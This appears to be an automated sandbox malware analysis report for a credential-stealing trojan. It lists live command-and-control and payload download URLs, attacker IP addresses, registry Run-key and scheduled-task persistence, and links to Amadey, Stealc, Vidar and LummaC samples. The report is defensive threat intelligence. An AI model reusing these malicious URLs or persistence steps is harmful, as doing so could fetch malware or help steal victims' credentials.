https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pLk4pqk4pbW1pbWfpbW7ReNxR3UIG8zInwYIFIVs9eYi	IECBAFCAAKJDHJKFIEBG.0.dr	false		high
http://185.215.113.206/68b591d6548ec281/msvcp140.dllw	file.exe, 00000000.00000002.2541025259.00000000017F8000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://unitedstates1.ss.wd.microsoft.us/	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1.8.dr	false		high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
http://ocsp.rootca1.amazontrust.com0:	0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://www.ecosia.org/newtab/	0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
https://drive-daily-1.corp.google.com/	manifest.json0.8.dr	false		high
https://excel.new?from=EdgeM365Shoreline	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://drive-daily-5.corp.google.com/	manifest.json0.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phptG	e88687d065.exe, 0000001F.00000002.3086404346.0000000001128000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bzib.nelreports.net/api/report?cat=bingbusiness	Reporting and NEL.9.dr	false		high
https://chromewebstore.google.com/	manifest.json.8.dr	false		high
https://drive-preprod.corp.google.com/	manifest.json0.8.dr	false		high
https://srtb.msn.cn/	2cc80dabc69f58b6_1.8.dr	false		high
https://msn.comXIDv10	0f2c5625b4.exe, 00000018.00000003.2901006960.0000000005E92000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2899980142.0000000005E08000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3003856857.0000000005C64000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001211596.0000000005C61000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3002414579.0000000005C7E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001211596.0000000005C77000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3003133768.0000000005C83000.00000004.00000800.00020000.00000000.sdmp, Cookies.9.dr	false		high
http://185.215.113.16/off/def.exe	0f2c5625b4.exe, 00000018.00000003.3162518940.0000000001524000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false		high
https://chrome.google.com/webstore/	manifest.json.8.dr	false		high
https://frogmen-smell.sbs/apicu	0f2c5625b4.exe, 0000001C.00000003.2999302927.00000000013FA000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://bard.google.com/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://assets.msn.cn/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
https://browser.events.data.msn.com/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpY	file.exe, 00000000.00000002.2541025259.0000000001812000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.206/c4becf79229cb002.phps1	0f2c5625b4.exe, 0000001C.00000002.3274336634.000000000139C000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://www.office.com	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php001	e88687d065.exe, 00000024.00000002.3337028806.00000000013DB000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://outlook.live.com/mail/0/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/r	e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://ntp.msn.com/edge/ntp	2cc80dabc69f58b6_1.8.dr	false		high
https://assets.msn.com/resolver/	2cc80dabc69f58b6_1.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.phpm	e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://tidal.com/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://frogmen-smell.sbs/77	0f2c5625b4.exe, 00000018.00000003.2901428972.0000000001531000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2896700481.000000000152C000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2901373608.000000000152D000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://185.215.113.16/off/def.exera	0f2c5625b4.exe, 00000018.00000003.3162518940.0000000001524000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000002.3229962215.00000000014CD000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.phpy	e88687d065.exe, 00000024.00000002.3337028806.000000000142D000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.206/c4becf79229cb002.phpz	e88687d065.exe, 00000019.00000002.2922940562.0000000001136000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://gaana.com/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
http://x1.c.lencr.org/0	0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/0	0f2c5625b4.exe, 00000018.00000003.2926528963.0000000005E25000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3023126225.0000000005D06000.00000004.00000800.00020000.00000000.sdmp	false		high
https://outlook.live.com/mail/compose?isExtension=true	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://outlook.office.com/calendar/view/agenda/quickcapture/moreDetails?isExtension=true	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://support.mozilla.org/products/firefoxgro.all	0f2c5625b4.exe, 0000001C.00000003.3025015717.0000000005D8D000.00000004.00000800.00020000.00000000.sdmp	false		high
https://latest.web.skype.com/?browsername=edge_canary_shoreline	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://word.new?from=EdgeM365Shoreline	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0f2c5625b4.exe, 00000018.00000003.2870522203.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2898474821.0000000005EDB000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870681714.0000000005E3E000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2897332579.0000000005E0A000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2870451209.0000000005E40000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.2984962413.0000000005CA7000.00000004.00000800.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3001047670.0000000005CB5000.00000004.00000800.00020000.00000000.sdmp, GHCGDAFC.0.dr	false		high
https://mail.google.com/mail/mu/mp/266/#tl/Inbox	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
http://185.215.113.206/c4becf79229cb002.php/4	e88687d065.exe, 00000019.00000002.2922940562.00000000010DE000.00000004.00000020.00020000.00000000.sdmp, e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://drive-autopush.corp.google.com/	manifest.json0.8.dr	false		high
https://outlook.office.com/mail/inbox?isExtension=true&sharedHeader=1&client_flight=outlookedge	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://open.spotify.com	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://twitter.com/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://www.t-mobile.com/cell-phones/brand/apple?cmpid=MGPO_PAM_P_EVGRNIPHN_	file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	false		high
https://m.vk.com/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
http://185.215.113.16/steam/random.exe5	0f2c5625b4.exe, 0000001C.00000002.3274100974.0000000000F9A000.00000004.00000010.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://185.215.113.206/c4becf79229cb002.php02	e88687d065.exe, 0000001F.00000002.3086404346.0000000001145000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2560094047.0000000023A92000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 00000018.00000003.2930865261.000000000153E000.00000004.00000020.00020000.00000000.sdmp, 0f2c5625b4.exe, 0000001C.00000003.3026505682.00000000013F2000.00000004.00000020.00020000.00000000.sdmp, IECBAFCAAKJDHJKFIEBG.0.dr	false		high
https://drive-daily-6.corp.google.com/	manifest.json0.8.dr	false		high
https://drive-daily-0.corp.google.com/	manifest.json0.8.dr	false		high
https://www.iheart.com/podcast/	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high
https://music.yandex.com	38afc37a-2c31-45d6-9567-efa2faf0546c.tmp.8.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
20.189.173.9	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
23.198.7.164	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.45	s-part-0017.t-0009.t-msedge.net	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.67.174.133	frogmen-smell.sbs	United States	13335	CLOUDFLARENETUS	false
20.125.209.212	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
162.159.61.3	unknown	United States	13335	CLOUDFLARENETUS	false
23.47.50.136	unknown	United States	16625	AKAMAI-ASUS	false
142.250.186.78	play.google.com	United States	15169	GOOGLEUS	false
172.217.18.4	www.google.com	United States	15169	GOOGLEUS	false
131.253.33.239	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
131.253.33.237	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
20.96.153.111	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.184.238	plus.l.google.com	United States	15169	GOOGLEUS	false
152.195.19.97	unknown	United States	15133	EDGECASTUS	false
216.58.206.33	googlehosted.l.googleusercontent.com	United States	15169	GOOGLEUS	false
108.156.211.71	unknown	United States	16509	AMAZON-02US	false
142.250.185.164	unknown	United States	15169	GOOGLEUS	false
204.79.197.219	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
172.64.41.3	chrome.cloudflare-dns.com	United States	13335	CLOUDFLARENETUS	false
23.198.7.172	unknown	United States	20940	AKAMAI-ASN1EU	false
13.107.246.57	unknown	United States	8068	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
18.244.18.122	sb.scorecardresearch.com	United States	16509	AMAZON-02US	false
94.245.104.56	ssl.bingadsedgeextension-prod-europe.azurewebsites.net	United Kingdom	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false
20.189.173.25	unknown	United States	8075	MICROSOFT-CORP-MSN-AS-BLOCKUS	false

Private

IP
192.168.2.7
192.168.2.4
192.168.2.6
192.168.2.5
127.0.0.1
192.168.2.17
192.168.2.16

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1555310
Start date and time:	2024-11-13 18:07:08 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 19m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	40
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.phis.troj.spyw.evad.winEXE@112/241@61/35
EGA Information:	Successful, ratio: 50%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Max analysis timeout: 600s exceeded, the analysis took too long
Exclude process from analysis (whitelisted): dllhost.exe, UserOOBEBroker.exe, RuntimeBroker.exe, WMIADAP.exe, SIHClient.exe, backgroundTaskHost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.186.35, 142.250.181.238, 173.194.76.84, 34.104.35.123, 142.250.186.163, 142.250.184.234, 172.217.18.10, 172.217.16.202, 142.250.185.106, 142.250.185.138, 216.58.212.138, 216.58.206.42, 142.250.186.170, 216.58.212.170, 142.250.185.202, 142.250.185.234, 216.58.206.74, 172.217.23.106, 142.250.185.170, 142.250.185.74, 142.250.186.106, 142.250.186.138, 172.217.18.106, 142.250.181.234, 142.250.186.42, 142.250.184.202, 142.250.74.202, 172.217.16.138, 142.250.186.74, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.185.78, 13.107.6.158, 48.209.162.134, 2.19.126.152, 2.19.126.145, 4.231.66.184, 88.221.110.195, 88.221.110.179, 2.23.209.150, 2.23.209.149, 2.23.209.154, 2.23.209.156, 2.23.209.140, 2.23.209.130, 2.23.209.141, 2.23.209.133, 2.23.209.135, 2.23.209.185, 2.23.209.181, 2.23.209.189, 2.23.209.179, 2.23.209.183, 2.23.209.182, 2.23.209.161, 2.23.209.187, 2.23.209.177, 13.74.129.1, 204.79.197.237, 13.107.21.237, 23.38.98.112, 23.38.98.121, 23.38
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, data-edge.smartscreen.microsoft.com, img-s-msn-com.akamaized.net, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, browser.events.data.trafficmanager.net, learn.microsoft.com, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, e11290.dspg.akamaiedge.net, clients2.google.com, e86303.dscx.akamaiedge.net, config-edge-skype.l-0007.l-msedge.net, star-azurefd-prod.trafficmanager.net, learn.microsoft.com.edgekey.net, update.googleapis.com, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, content-autofill.googleapis.com, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, learn.microsoft.com.edgekey.net.globalredir.akadns.net, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficman
Execution Graph export aborted for target 0f2c5625b4.exe, PID 8592 because there are no executed function
Execution Graph export aborted for target file.exe, PID 712 because there are no executed function
HTTP sessions have been limited to 150. Please view the PCAPs for the complete data.
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtDeviceIoControlFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryDirectoryFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
12:08:36	API Interceptor	31x Sleep call for process: file.exe modified
12:09:02	API Interceptor	37143067x Sleep call for process: skotes.exe modified
12:09:13	API Interceptor	57x Sleep call for process: 0f2c5625b4.exe modified
12:09:58	API Interceptor	13x Sleep call for process: e88687d065.exe modified
18:08:45	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
18:09:13	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 0f2c5625b4.exe C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe
18:09:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run e88687d065.exe C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe
18:09:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 425e60de02.exe C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe
18:09:39	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 0f2c5625b4.exe C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe
18:09:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run e88687d065.exe C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe
18:09:55	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 425e60de02.exe C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe

LLM Input / Output

Input	Output
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: claude-3-haiku-20240307	```json { "contains_trigger_text": true, "trigger_text": "This application could not be started", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false }

URL: Model: claude-3-5-sonnet-latest	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": true, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: https://learn.microsoft.com
URL: https://learn.microsoft.com/en-us/dotnet/framework/install/application-not-started?version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0 Model: claude-3-haiku-20240307	```json { "brands": [ "Microsoft", "NET" ] }
	```json { "brands": [ "Microsoft", "NET" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
20.189.173.9	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!s553e3fe901654d86bcc4ed44c7c05dd3&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0V1a19QbFZsQVlaTnZNVHRSTWZBWGRNQmtvbDQ2b1NlN1o5MGFiazNzS3lGSlE_ZT1UMnQ4S3Y&wd=target%28Sezione%20senza%20titolo.one%7C8d7e5173-6006-4648-a69d-e39e66e7041a%2FAblehnung%20Rechnung%20R15946098273-KU30_WE02%20Vom%2028%5C%2F%7Cd77916b9-b471-429a-a13e-74764563e56b%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse
	ocedures.msg	Get hash	malicious	Unknown	Browse
	https://netorgft11904377-my.sharepoint.com/:f:/g/personal/diwakar_d_symnn_com/Egh8Wigk3RNLgYl4YHrmY3wBASQTPrx6Li13Cr10RMG6nw?e=sSQT2N&xsdata=MDV8MDJ8UGhpc2hBbGVydHNARGV3YmVycnkuY29tfDQ3YjZjYWZiY2FmYjRiYzE5NjVkMDhkY2M1ZmJhZTM5fDg0YjdmNTM3ZmI3NjQyYjJhYzFiNDE1YTU1OTc3NjZjfDB8MHw2Mzg2MDI5MzE5OTY5Mjk2MjF8VW5rbm93bnxUV0ZwYkdac2IzZDhleUpXSWpvaU1DNHdMakF3TURBaUxDSlFJam9pVjJsdU16SWlMQ0pCVGlJNklrMWhhV3dpTENKWFZDSTZNbjA9fDB8fHw%3d&sdata=Q1R4VGhVK20rVytvaVJPWVRueXdFcTdmNU5xL0huZ3dzcjNFeERIMEx6Zz0%3d	Get hash	malicious	HTMLPhisher	Browse
	HImMAwx7yG.html	Get hash	malicious	Unknown	Browse
	9541d1fd-de55-b737-332f-7b4472cbad4b.eml	Get hash	malicious	Unknown	Browse
	reference usfinancegl@ey.com - Search.pdf	Get hash	malicious	Unknown	Browse
	Ewhite Replay VM .docx	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse
	Untitled.msg	Get hash	malicious	HTMLPhisher	Browse
	The Siedenburg Group #24-051-553861 Project.pdf	Get hash	malicious	Unknown	Browse
	https://xaxlip-my.sharepoint.com/:b:/g/personal/hr_xaxlip_ca/EX2Y002dwUZGoBsGIE0otJcBWaT7OE6iOWYkmT9nlxBsrA?e=8nSXGJ	Get hash	malicious	HTMLPhisher	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
sb.scorecardresearch.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	18.245.60.72
	https://www.canva.com/design/DAGOCNo1NUI/fm7sxEzJIeZ3v2miLpNZCw/view?utm_content=DAGOCNo1NUI&utm_campaign=designshare&utm_medium=link&utm_source=editor	Get hash	malicious	Unknown	Browse	18.245.60.72
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.65.39.56
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	18.244.18.122
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	18.244.18.27
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.72
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	18.245.60.72
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.122
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.27
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	18.244.18.38
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	Stealc, Vidar	Browse	162.159.61.3
	aba5298f.msi	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	x.bat	Get hash	malicious	Unknown	Browse	162.159.61.3
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	172.64.41.3
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	DEMASI-24-12B DOC. SCAN.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	Stealc, Vidar	Browse	94.245.104.56
	aba5298f.msi	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	Xeno Executor Setup 1.0.0.exe	Get hash	malicious	Unknown	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	dyT8pWNPk7.exe	Get hash	malicious	Remcos	Browse	94.245.104.56
frogmen-smell.sbs	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133
	Updatev4_5.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	LummaC	Browse	104.21.80.55
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.67.174.133
	file.exe	Get hash	malicious	LummaC	Browse	172.67.174.133

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
